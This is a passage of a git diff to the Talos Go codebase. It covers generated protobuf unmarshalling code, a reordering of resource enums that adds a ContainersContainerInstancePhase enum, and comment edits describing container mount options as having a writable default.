fmt.Errorf("proto: wrong wireType = %d for field Options", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Options = append(m.Options, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field VolumeId", wireType) + } + var stringLen uint64 + for shift := uint(0); ; shift += 7 { + if shift >= 64 { + return protohelpers.ErrIntOverflow + } + if iNdEx >= l { + return io.ErrUnexpectedEOF + } + b := dAtA[iNdEx] + iNdEx++ + stringLen |= uint64(b&0x7F) << shift + if b < 0x80 { + break + } + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protohelpers.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protohelpers.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.VolumeId = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protohelpers.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protohelpers.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} diff --git a/pkg/machinery/api/resource/definitions/enums/enums.pb.go b/pkg/machinery/api/resource/definitions/enums/enums.pb.go index 0d86915ca4b..e1f60f2773a 100644 --- a/pkg/machinery/api/resource/definitions/enums/enums.pb.go +++ b/pkg/machinery/api/resource/definitions/enums/enums.pb.go @@ -3949,6 +3949,112 @@ func (StorageMDMetadata) EnumDescriptor() ([]byte, []int) { return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{51} } +// NetworkConfigLayer describes network configuration layers, with lowest priority first. +type NetworkConfigLayer int32 + +const ( + NetworkConfigLayer_CONFIG_DEFAULT NetworkConfigLayer = 0 + NetworkConfigLayer_CONFIG_CMDLINE NetworkConfigLayer = 1 + NetworkConfigLayer_CONFIG_PLATFORM NetworkConfigLayer = 2 + NetworkConfigLayer_CONFIG_OPERATOR NetworkConfigLayer = 3 + NetworkConfigLayer_CONFIG_MACHINE_CONFIGURATION NetworkConfigLayer = 4 +) + +// Enum value maps for NetworkConfigLayer. +var ( + NetworkConfigLayer_name = map[int32]string{ + 0: "CONFIG_DEFAULT", + 1: "CONFIG_CMDLINE", + 2: "CONFIG_PLATFORM", + 3: "CONFIG_OPERATOR", + 4: "CONFIG_MACHINE_CONFIGURATION", + } + NetworkConfigLayer_value = map[string]int32{ + "CONFIG_DEFAULT": 0, + "CONFIG_CMDLINE": 1, + "CONFIG_PLATFORM": 2, + "CONFIG_OPERATOR": 3, + "CONFIG_MACHINE_CONFIGURATION": 4, + } +) + +func (x NetworkConfigLayer) Enum() *NetworkConfigLayer { + p := new(NetworkConfigLayer) + *p = x + return p +} + +func (x NetworkConfigLayer) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (NetworkConfigLayer) Descriptor() protoreflect.EnumDescriptor { + return file_resource_definitions_enums_enums_proto_enumTypes[52].Descriptor() +} + +func (NetworkConfigLayer) Type() protoreflect.EnumType { + return &file_resource_definitions_enums_enums_proto_enumTypes[52] +} + +func (x NetworkConfigLayer) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use NetworkConfigLayer.Descriptor instead. +func (NetworkConfigLayer) EnumDescriptor() ([]byte, []int) { + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{52} +} + +// NetworkOperator enumerates Talos network operators. +type NetworkOperator int32 + +const ( + NetworkOperator_OPERATOR_DHCP4 NetworkOperator = 0 + NetworkOperator_OPERATOR_DHCP6 NetworkOperator = 1 + NetworkOperator_OPERATOR_VIP NetworkOperator = 2 +) + +// Enum value maps for NetworkOperator. +var ( + NetworkOperator_name = map[int32]string{ + 0: "OPERATOR_DHCP4", + 1: "OPERATOR_DHCP6", + 2: "OPERATOR_VIP", + } + NetworkOperator_value = map[string]int32{ + "OPERATOR_DHCP4": 0, + "OPERATOR_DHCP6": 1, + "OPERATOR_VIP": 2, + } +) + +func (x NetworkOperator) Enum() *NetworkOperator { + p := new(NetworkOperator) + *p = x + return p +} + +func (x NetworkOperator) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (NetworkOperator) Descriptor() protoreflect.EnumDescriptor { + return file_resource_definitions_enums_enums_proto_enumTypes[53].Descriptor() +} + +func (NetworkOperator) Type() protoreflect.EnumType { + return &file_resource_definitions_enums_enums_proto_enumTypes[53] +} + +func (x NetworkOperator) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use NetworkOperator.Descriptor instead. +func (NetworkOperator) EnumDescriptor() ([]byte, []int) { + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{53} +} + // ContainersContainerImagePhase describes the state of a container's image pull. type ContainersContainerImagePhase int32 @@ -3986,11 +4092,11 @@ func (x ContainersContainerImagePhase) String() string { } func (ContainersContainerImagePhase) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[52].Descriptor() + return file_resource_definitions_enums_enums_proto_enumTypes[54].Descriptor() } func (ContainersContainerImagePhase) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[52] + return &file_resource_definitions_enums_enums_proto_enumTypes[54] } func (x ContainersContainerImagePhase) Number() protoreflect.EnumNumber { @@ -3999,7 +4105,60 @@ func (x ContainersContainerImagePhase) Number() protoreflect.EnumNumber { // Deprecated: Use ContainersContainerImagePhase.Descriptor instead. func (ContainersContainerImagePhase) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{52} + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{54} +} + +// ContainersContainerInstancePhase describes the state of a container instance's execution. +type ContainersContainerInstancePhase int32 + +const ( + ContainersContainerInstancePhase_CONTAINER_INSTANCE_PHASE_CREATED ContainersContainerInstancePhase = 0 + ContainersContainerInstancePhase_CONTAINER_INSTANCE_PHASE_RUNNING ContainersContainerInstancePhase = 1 + ContainersContainerInstancePhase_CONTAINER_INSTANCE_PHASE_TERMINATED ContainersContainerInstancePhase = 2 + ContainersContainerInstancePhase_CONTAINER_INSTANCE_PHASE_FAILED ContainersContainerInstancePhase = 3 +) + +// Enum value maps for ContainersContainerInstancePhase. +var ( + ContainersContainerInstancePhase_name = map[int32]string{ + 0: "CONTAINER_INSTANCE_PHASE_CREATED", + 1: "CONTAINER_INSTANCE_PHASE_RUNNING", + 2: "CONTAINER_INSTANCE_PHASE_TERMINATED", + 3: "CONTAINER_INSTANCE_PHASE_FAILED", + } + ContainersContainerInstancePhase_value = map[string]int32{ + "CONTAINER_INSTANCE_PHASE_CREATED": 0, + "CONTAINER_INSTANCE_PHASE_RUNNING": 1, + "CONTAINER_INSTANCE_PHASE_TERMINATED": 2, + "CONTAINER_INSTANCE_PHASE_FAILED": 3, + } +) + +func (x ContainersContainerInstancePhase) Enum() *ContainersContainerInstancePhase { + p := new(ContainersContainerInstancePhase) + *p = x + return p +} + +func (x ContainersContainerInstancePhase) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (ContainersContainerInstancePhase) Descriptor() protoreflect.EnumDescriptor { + return file_resource_definitions_enums_enums_proto_enumTypes[55].Descriptor() +} + +func (ContainersContainerInstancePhase) Type() protoreflect.EnumType { + return &file_resource_definitions_enums_enums_proto_enumTypes[55] +} + +func (x ContainersContainerInstancePhase) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use ContainersContainerInstancePhase.Descriptor instead. +func (ContainersContainerInstancePhase) EnumDescriptor() ([]byte, []int) { + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{55} } // CriImageCacheStatus describes image cache status type. @@ -4039,11 +4198,11 @@ func (x CriImageCacheStatus) String() string { } func (CriImageCacheStatus) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[53].Descriptor() + return file_resource_definitions_enums_enums_proto_enumTypes[56].Descriptor() } func (CriImageCacheStatus) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[53] + return &file_resource_definitions_enums_enums_proto_enumTypes[56] } func (x CriImageCacheStatus) Number() protoreflect.EnumNumber { @@ -4052,7 +4211,7 @@ func (x CriImageCacheStatus) Number() protoreflect.EnumNumber { // Deprecated: Use CriImageCacheStatus.Descriptor instead. func (CriImageCacheStatus) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{53} + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{56} } // CriImageCacheCopyStatus describes image cache copy status type. @@ -4092,11 +4251,11 @@ func (x CriImageCacheCopyStatus) String() string { } func (CriImageCacheCopyStatus) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[54].Descriptor() + return file_resource_definitions_enums_enums_proto_enumTypes[57].Descriptor() } func (CriImageCacheCopyStatus) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[54] + return &file_resource_definitions_enums_enums_proto_enumTypes[57] } func (x CriImageCacheCopyStatus) Number() protoreflect.EnumNumber { @@ -4105,7 +4264,7 @@ func (x CriImageCacheCopyStatus) Number() protoreflect.EnumNumber { // Deprecated: Use CriImageCacheCopyStatus.Descriptor instead. func (CriImageCacheCopyStatus) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{54} + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{57} } // KubespanPeerState is KubeSpan peer current state. @@ -4142,11 +4301,11 @@ func (x KubespanPeerState) String() string { } func (KubespanPeerState) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[55].Descriptor() + return file_resource_definitions_enums_enums_proto_enumTypes[58].Descriptor() } func (KubespanPeerState) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[55] + return &file_resource_definitions_enums_enums_proto_enumTypes[58] } func (x KubespanPeerState) Number() protoreflect.EnumNumber { @@ -4155,113 +4314,7 @@ func (x KubespanPeerState) Number() protoreflect.EnumNumber { // Deprecated: Use KubespanPeerState.Descriptor instead. func (KubespanPeerState) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{55} -} - -// NetworkConfigLayer describes network configuration layers, with lowest priority first. -type NetworkConfigLayer int32 - -const ( - NetworkConfigLayer_CONFIG_DEFAULT NetworkConfigLayer = 0 - NetworkConfigLayer_CONFIG_CMDLINE NetworkConfigLayer = 1 - NetworkConfigLayer_CONFIG_PLATFORM NetworkConfigLayer = 2 - NetworkConfigLayer_CONFIG_OPERATOR NetworkConfigLayer = 3 - NetworkConfigLayer_CONFIG_MACHINE_CONFIGURATION NetworkConfigLayer = 4 -) - -// Enum value maps for NetworkConfigLayer. -var ( - NetworkConfigLayer_name = map[int32]string{ - 0: "CONFIG_DEFAULT", - 1: "CONFIG_CMDLINE", - 2: "CONFIG_PLATFORM", - 3: "CONFIG_OPERATOR", - 4: "CONFIG_MACHINE_CONFIGURATION", - } - NetworkConfigLayer_value = map[string]int32{ - "CONFIG_DEFAULT": 0, - "CONFIG_CMDLINE": 1, - "CONFIG_PLATFORM": 2, - "CONFIG_OPERATOR": 3, - "CONFIG_MACHINE_CONFIGURATION": 4, - } -) - -func (x NetworkConfigLayer) Enum() *NetworkConfigLayer { - p := new(NetworkConfigLayer) - *p = x - return p -} - -func (x NetworkConfigLayer) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (NetworkConfigLayer) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[56].Descriptor() -} - -func (NetworkConfigLayer) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[56] -} - -func (x NetworkConfigLayer) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use NetworkConfigLayer.Descriptor instead. -func (NetworkConfigLayer) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{56} -} - -// NetworkOperator enumerates Talos network operators. -type NetworkOperator int32 - -const ( - NetworkOperator_OPERATOR_DHCP4 NetworkOperator = 0 - NetworkOperator_OPERATOR_DHCP6 NetworkOperator = 1 - NetworkOperator_OPERATOR_VIP NetworkOperator = 2 -) - -// Enum value maps for NetworkOperator. -var ( - NetworkOperator_name = map[int32]string{ - 0: "OPERATOR_DHCP4", - 1: "OPERATOR_DHCP6", - 2: "OPERATOR_VIP", - } - NetworkOperator_value = map[string]int32{ - "OPERATOR_DHCP4": 0, - "OPERATOR_DHCP6": 1, - "OPERATOR_VIP": 2, - } -) - -func (x NetworkOperator) Enum() *NetworkOperator { - p := new(NetworkOperator) - *p = x - return p -} - -func (x NetworkOperator) String() string { - return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) -} - -func (NetworkOperator) Descriptor() protoreflect.EnumDescriptor { - return file_resource_definitions_enums_enums_proto_enumTypes[57].Descriptor() -} - -func (NetworkOperator) Type() protoreflect.EnumType { - return &file_resource_definitions_enums_enums_proto_enumTypes[57] -} - -func (x NetworkOperator) Number() protoreflect.EnumNumber { - return protoreflect.EnumNumber(x) -} - -// Deprecated: Use NetworkOperator.Descriptor instead. -func (NetworkOperator) EnumDescriptor() ([]byte, []int) { - return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{57} + return file_resource_definitions_enums_enums_proto_rawDescGZIP(), []int{58} } var File_resource_definitions_enums_enums_proto protoreflect.FileDescriptor @@ -4951,12 +5004,27 @@ const file_resource_definitions_enums_enums_proto_rawDesc = "" + "\x0eMD_LEVEL_RAID1\x10\x00*9\n" + "\x11StorageMDMetadata\x12\x11\n" + "\rMD_METADATA10\x10\x00\x12\x11\n" + - "\rMD_METADATA12\x10\x01*\xa8\x01\n" + + "\rMD_METADATA12\x10\x01*\x88\x01\n" + + "\x12NetworkConfigLayer\x12\x12\n" + + "\x0eCONFIG_DEFAULT\x10\x00\x12\x12\n" + + "\x0eCONFIG_CMDLINE\x10\x01\x12\x13\n" + + "\x0fCONFIG_PLATFORM\x10\x02\x12\x13\n" + + "\x0fCONFIG_OPERATOR\x10\x03\x12 \n" + + "\x1cCONFIG_MACHINE_CONFIGURATION\x10\x04*K\n" + + "\x0fNetworkOperator\x12\x12\n" + + "\x0eOPERATOR_DHCP4\x10\x00\x12\x12\n" + + "\x0eOPERATOR_DHCP6\x10\x01\x12\x10\n" + + "\fOPERATOR_VIP\x10\x02*\xa8\x01\n" + "\x1dContainersContainerImagePhase\x12!\n" + "\x1dCONTAINER_IMAGE_PHASE_PENDING\x10\x00\x12!\n" + "\x1dCONTAINER_IMAGE_PHASE_PULLING\x10\x01\x12\x1f\n" + "\x1bCONTAINER_IMAGE_PHASE_READY\x10\x02\x12 \n" + - "\x1cCONTAINER_IMAGE_PHASE_FAILED\x10\x03*\x96\x01\n" + + "\x1cCONTAINER_IMAGE_PHASE_FAILED\x10\x03*\xbc\x01\n" + + " ContainersContainerInstancePhase\x12$\n" + + " CONTAINER_INSTANCE_PHASE_CREATED\x10\x00\x12$\n" + + " CONTAINER_INSTANCE_PHASE_RUNNING\x10\x01\x12'\n" + + "#CONTAINER_INSTANCE_PHASE_TERMINATED\x10\x02\x12#\n" + + "\x1fCONTAINER_INSTANCE_PHASE_FAILED\x10\x03*\x96\x01\n" + "\x13CriImageCacheStatus\x12\x1e\n" + "\x1aIMAGE_CACHE_STATUS_UNKNOWN\x10\x00\x12\x1f\n" + "\x1bIMAGE_CACHE_STATUS_DISABLED\x10\x01\x12 \n" + @@ -4970,17 +5038,7 @@ const file_resource_definitions_enums_enums_proto_rawDesc = "" + "\x11KubespanPeerState\x12\x16\n" + "\x12PEER_STATE_UNKNOWN\x10\x00\x12\x11\n" + "\rPEER_STATE_UP\x10\x01\x12\x13\n" + - "\x0fPEER_STATE_DOWN\x10\x02*\x88\x01\n" + - "\x12NetworkConfigLayer\x12\x12\n" + - "\x0eCONFIG_DEFAULT\x10\x00\x12\x12\n" + - "\x0eCONFIG_CMDLINE\x10\x01\x12\x13\n" + - "\x0fCONFIG_PLATFORM\x10\x02\x12\x13\n" + - "\x0fCONFIG_OPERATOR\x10\x03\x12 \n" + - "\x1cCONFIG_MACHINE_CONFIGURATION\x10\x04*K\n" + - "\x0fNetworkOperator\x12\x12\n" + - "\x0eOPERATOR_DHCP4\x10\x00\x12\x12\n" + - "\x0eOPERATOR_DHCP6\x10\x01\x12\x10\n" + - "\fOPERATOR_VIP\x10\x02Bt\n" + + "\x0fPEER_STATE_DOWN\x10\x02Bt\n" + "(dev.talos.api.resource.definitions.enumsZHgithub.com/siderolabs/talos/pkg/machinery/api/resource/definitions/enumsb\x06proto3" var ( @@ -4995,66 +5053,67 @@ func file_resource_definitions_enums_enums_proto_rawDescGZIP() []byte { return file_resource_definitions_enums_enums_proto_rawDescData } -var file_resource_definitions_enums_enums_proto_enumTypes = make([]protoimpl.EnumInfo, 58) +var file_resource_definitions_enums_enums_proto_enumTypes = make([]protoimpl.EnumInfo, 59) var file_resource_definitions_enums_enums_proto_goTypes = []any{ - (RuntimeKernelModuleState)(0), // 0: talos.resource.definitions.enums.RuntimeKernelModuleState - (RuntimeKernelModuleType)(0), // 1: talos.resource.definitions.enums.RuntimeKernelModuleType - (RuntimeMachineStage)(0), // 2: talos.resource.definitions.enums.RuntimeMachineStage - (RuntimeSELinuxState)(0), // 3: talos.resource.definitions.enums.RuntimeSELinuxState - (RuntimeFIPSState)(0), // 4: talos.resource.definitions.enums.RuntimeFIPSState - (RuntimeUnattendedInstallPhase)(0), // 5: talos.resource.definitions.enums.RuntimeUnattendedInstallPhase - (MachineType)(0), // 6: talos.resource.definitions.enums.MachineType - (NethelpersAddressFlag)(0), // 7: talos.resource.definitions.enums.NethelpersAddressFlag - (NethelpersAddressSortAlgorithm)(0), // 8: talos.resource.definitions.enums.NethelpersAddressSortAlgorithm - (NethelpersADLACPActive)(0), // 9: talos.resource.definitions.enums.NethelpersADLACPActive - (NethelpersADSelect)(0), // 10: talos.resource.definitions.enums.NethelpersADSelect - (NethelpersARPAllTargets)(0), // 11: talos.resource.definitions.enums.NethelpersARPAllTargets - (NethelpersARPValidate)(0), // 12: talos.resource.definitions.enums.NethelpersARPValidate - (NethelpersAutoHostnameKind)(0), // 13: talos.resource.definitions.enums.NethelpersAutoHostnameKind - (NethelpersBGPSessionState)(0), // 14: talos.resource.definitions.enums.NethelpersBGPSessionState - (NethelpersBondMode)(0), // 15: talos.resource.definitions.enums.NethelpersBondMode - (NethelpersBondXmitHashPolicy)(0), // 16: talos.resource.definitions.enums.NethelpersBondXmitHashPolicy - (NethelpersClientIdentifier)(0), // 17: talos.resource.definitions.enums.NethelpersClientIdentifier - (NethelpersConntrackState)(0), // 18: talos.resource.definitions.enums.NethelpersConntrackState - (NethelpersDNSProtocol)(0), // 19: talos.resource.definitions.enums.NethelpersDNSProtocol - (NethelpersDuplex)(0), // 20: talos.resource.definitions.enums.NethelpersDuplex - (NethelpersFailOverMAC)(0), // 21: talos.resource.definitions.enums.NethelpersFailOverMAC - (NethelpersFamily)(0), // 22: talos.resource.definitions.enums.NethelpersFamily - (NethelpersICMPType)(0), // 23: talos.resource.definitions.enums.NethelpersICMPType - (NethelpersLACPRate)(0), // 24: talos.resource.definitions.enums.NethelpersLACPRate - (NethelpersLinkType)(0), // 25: talos.resource.definitions.enums.NethelpersLinkType - (NethelpersMatchOperator)(0), // 26: talos.resource.definitions.enums.NethelpersMatchOperator - (NethelpersNfTablesChainHook)(0), // 27: talos.resource.definitions.enums.NethelpersNfTablesChainHook - (NethelpersNfTablesChainPriority)(0), // 28: talos.resource.definitions.enums.NethelpersNfTablesChainPriority - (NethelpersNfTablesVerdict)(0), // 29: talos.resource.definitions.enums.NethelpersNfTablesVerdict - (NethelpersOperationalState)(0), // 30: talos.resource.definitions.enums.NethelpersOperationalState - (NethelpersPort)(0), // 31: talos.resource.definitions.enums.NethelpersPort - (NethelpersPrimaryReselect)(0), // 32: talos.resource.definitions.enums.NethelpersPrimaryReselect - (NethelpersProtocol)(0), // 33: talos.resource.definitions.enums.NethelpersProtocol - (NethelpersRouteFlag)(0), // 34: talos.resource.definitions.enums.NethelpersRouteFlag - (NethelpersRouteProtocol)(0), // 35: talos.resource.definitions.enums.NethelpersRouteProtocol - (NethelpersRouteType)(0), // 36: talos.resource.definitions.enums.NethelpersRouteType - (NethelpersRoutingRuleAction)(0), // 37: talos.resource.definitions.enums.NethelpersRoutingRuleAction - (NethelpersRoutingTable)(0), // 38: talos.resource.definitions.enums.NethelpersRoutingTable - (NethelpersScope)(0), // 39: talos.resource.definitions.enums.NethelpersScope - (NethelpersVLANProtocol)(0), // 40: talos.resource.definitions.enums.NethelpersVLANProtocol - (NethelpersWOLMode)(0), // 41: talos.resource.definitions.enums.NethelpersWOLMode - (BlockEncryptionKeyType)(0), // 42: talos.resource.definitions.enums.BlockEncryptionKeyType - (BlockEncryptionProviderType)(0), // 43: talos.resource.definitions.enums.BlockEncryptionProviderType - (BlockFilesystemType)(0), // 44: talos.resource.definitions.enums.BlockFilesystemType - (BlockFSParameterType)(0), // 45: talos.resource.definitions.enums.BlockFSParameterType - (BlockVolumePhase)(0), // 46: talos.resource.definitions.enums.BlockVolumePhase - (BlockVolumeType)(0), // 47: talos.resource.definitions.enums.BlockVolumeType - (StorageLVMLogicalVolumeType)(0), // 48: talos.resource.definitions.enums.StorageLVMLogicalVolumeType - (StorageMDArrayPhase)(0), // 49: talos.resource.definitions.enums.StorageMDArrayPhase - (StorageMDLevel)(0), // 50: talos.resource.definitions.enums.StorageMDLevel - (StorageMDMetadata)(0), // 51: talos.resource.definitions.enums.StorageMDMetadata - (ContainersContainerImagePhase)(0), // 52: talos.resource.definitions.enums.ContainersContainerImagePhase - (CriImageCacheStatus)(0), // 53: talos.resource.definitions.enums.CriImageCacheStatus - (CriImageCacheCopyStatus)(0), // 54: talos.resource.definitions.enums.CriImageCacheCopyStatus - (KubespanPeerState)(0), // 55: talos.resource.definitions.enums.KubespanPeerState - (NetworkConfigLayer)(0), // 56: talos.resource.definitions.enums.NetworkConfigLayer - (NetworkOperator)(0), // 57: talos.resource.definitions.enums.NetworkOperator + (RuntimeKernelModuleState)(0), // 0: talos.resource.definitions.enums.RuntimeKernelModuleState + (RuntimeKernelModuleType)(0), // 1: talos.resource.definitions.enums.RuntimeKernelModuleType + (RuntimeMachineStage)(0), // 2: talos.resource.definitions.enums.RuntimeMachineStage + (RuntimeSELinuxState)(0), // 3: talos.resource.definitions.enums.RuntimeSELinuxState + (RuntimeFIPSState)(0), // 4: talos.resource.definitions.enums.RuntimeFIPSState + (RuntimeUnattendedInstallPhase)(0), // 5: talos.resource.definitions.enums.RuntimeUnattendedInstallPhase + (MachineType)(0), // 6: talos.resource.definitions.enums.MachineType + (NethelpersAddressFlag)(0), // 7: talos.resource.definitions.enums.NethelpersAddressFlag + (NethelpersAddressSortAlgorithm)(0), // 8: talos.resource.definitions.enums.NethelpersAddressSortAlgorithm + (NethelpersADLACPActive)(0), // 9: talos.resource.definitions.enums.NethelpersADLACPActive + (NethelpersADSelect)(0), // 10: talos.resource.definitions.enums.NethelpersADSelect + (NethelpersARPAllTargets)(0), // 11: talos.resource.definitions.enums.NethelpersARPAllTargets + (NethelpersARPValidate)(0), // 12: talos.resource.definitions.enums.NethelpersARPValidate + (NethelpersAutoHostnameKind)(0), // 13: talos.resource.definitions.enums.NethelpersAutoHostnameKind + (NethelpersBGPSessionState)(0), // 14: talos.resource.definitions.enums.NethelpersBGPSessionState + (NethelpersBondMode)(0), // 15: talos.resource.definitions.enums.NethelpersBondMode + (NethelpersBondXmitHashPolicy)(0), // 16: talos.resource.definitions.enums.NethelpersBondXmitHashPolicy + (NethelpersClientIdentifier)(0), // 17: talos.resource.definitions.enums.NethelpersClientIdentifier + (NethelpersConntrackState)(0), // 18: talos.resource.definitions.enums.NethelpersConntrackState + (NethelpersDNSProtocol)(0), // 19: talos.resource.definitions.enums.NethelpersDNSProtocol + (NethelpersDuplex)(0), // 20: talos.resource.definitions.enums.NethelpersDuplex + (NethelpersFailOverMAC)(0), // 21: talos.resource.definitions.enums.NethelpersFailOverMAC + (NethelpersFamily)(0), // 22: talos.resource.definitions.enums.NethelpersFamily + (NethelpersICMPType)(0), // 23: talos.resource.definitions.enums.NethelpersICMPType + (NethelpersLACPRate)(0), // 24: talos.resource.definitions.enums.NethelpersLACPRate + (NethelpersLinkType)(0), // 25: talos.resource.definitions.enums.NethelpersLinkType + (NethelpersMatchOperator)(0), // 26: talos.resource.definitions.enums.NethelpersMatchOperator + (NethelpersNfTablesChainHook)(0), // 27: talos.resource.definitions.enums.NethelpersNfTablesChainHook + (NethelpersNfTablesChainPriority)(0), // 28: talos.resource.definitions.enums.NethelpersNfTablesChainPriority + (NethelpersNfTablesVerdict)(0), // 29: talos.resource.definitions.enums.NethelpersNfTablesVerdict + (NethelpersOperationalState)(0), // 30: talos.resource.definitions.enums.NethelpersOperationalState + (NethelpersPort)(0), // 31: talos.resource.definitions.enums.NethelpersPort + (NethelpersPrimaryReselect)(0), // 32: talos.resource.definitions.enums.NethelpersPrimaryReselect + (NethelpersProtocol)(0), // 33: talos.resource.definitions.enums.NethelpersProtocol + (NethelpersRouteFlag)(0), // 34: talos.resource.definitions.enums.NethelpersRouteFlag + (NethelpersRouteProtocol)(0), // 35: talos.resource.definitions.enums.NethelpersRouteProtocol + (NethelpersRouteType)(0), // 36: talos.resource.definitions.enums.NethelpersRouteType + (NethelpersRoutingRuleAction)(0), // 37: talos.resource.definitions.enums.NethelpersRoutingRuleAction + (NethelpersRoutingTable)(0), // 38: talos.resource.definitions.enums.NethelpersRoutingTable + (NethelpersScope)(0), // 39: talos.resource.definitions.enums.NethelpersScope + (NethelpersVLANProtocol)(0), // 40: talos.resource.definitions.enums.NethelpersVLANProtocol + (NethelpersWOLMode)(0), // 41: talos.resource.definitions.enums.NethelpersWOLMode + (BlockEncryptionKeyType)(0), // 42: talos.resource.definitions.enums.BlockEncryptionKeyType + (BlockEncryptionProviderType)(0), // 43: talos.resource.definitions.enums.BlockEncryptionProviderType + (BlockFilesystemType)(0), // 44: talos.resource.definitions.enums.BlockFilesystemType + (BlockFSParameterType)(0), // 45: talos.resource.definitions.enums.BlockFSParameterType + (BlockVolumePhase)(0), // 46: talos.resource.definitions.enums.BlockVolumePhase + (BlockVolumeType)(0), // 47: talos.resource.definitions.enums.BlockVolumeType + (StorageLVMLogicalVolumeType)(0), // 48: talos.resource.definitions.enums.StorageLVMLogicalVolumeType + (StorageMDArrayPhase)(0), // 49: talos.resource.definitions.enums.StorageMDArrayPhase + (StorageMDLevel)(0), // 50: talos.resource.definitions.enums.StorageMDLevel + (StorageMDMetadata)(0), // 51: talos.resource.definitions.enums.StorageMDMetadata + (NetworkConfigLayer)(0), // 52: talos.resource.definitions.enums.NetworkConfigLayer + (NetworkOperator)(0), // 53: talos.resource.definitions.enums.NetworkOperator + (ContainersContainerImagePhase)(0), // 54: talos.resource.definitions.enums.ContainersContainerImagePhase + (ContainersContainerInstancePhase)(0), // 55: talos.resource.definitions.enums.ContainersContainerInstancePhase + (CriImageCacheStatus)(0), // 56: talos.resource.definitions.enums.CriImageCacheStatus + (CriImageCacheCopyStatus)(0), // 57: talos.resource.definitions.enums.CriImageCacheCopyStatus + (KubespanPeerState)(0), // 58: talos.resource.definitions.enums.KubespanPeerState } var file_resource_definitions_enums_enums_proto_depIdxs = []int32{ 0, // [0:0] is the sub-list for method output_type @@ -5074,7 +5133,7 @@ func file_resource_definitions_enums_enums_proto_init() { File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: unsafe.Slice(unsafe.StringData(file_resource_definitions_enums_enums_proto_rawDesc), len(file_resource_definitions_enums_enums_proto_rawDesc)), - NumEnums: 58, + NumEnums: 59, NumMessages: 0, NumExtensions: 0, NumServices: 0, diff --git a/pkg/machinery/config/config/container.go b/pkg/machinery/config/config/container.go index 454a20599d9..5832791a350 100644 --- a/pkg/machinery/config/config/container.go +++ b/pkg/machinery/config/config/container.go @@ -51,7 +51,7 @@ type ContainerUserVolumeMountConfig interface { Name() string // Destination inside the container. Destination() string - // MountOptions with the read-only default already applied. + // MountOptions with the writable default already applied. MountOptions() []string } @@ -61,7 +61,7 @@ type ContainerTmpfsMountConfig interface { Destination() string // Size of the tmpfs; empty means the kernel default. Size() string - // MountOptions with the read-only default already applied. + // MountOptions with the writable default already applied. MountOptions() []string } @@ -71,7 +71,7 @@ type ContainerHostPathMountConfig interface { Source() string // Destination inside the container. Destination() string - // MountOptions with the read-only default already applied. + // MountOptions with the writable default already applied. MountOptions() []string } 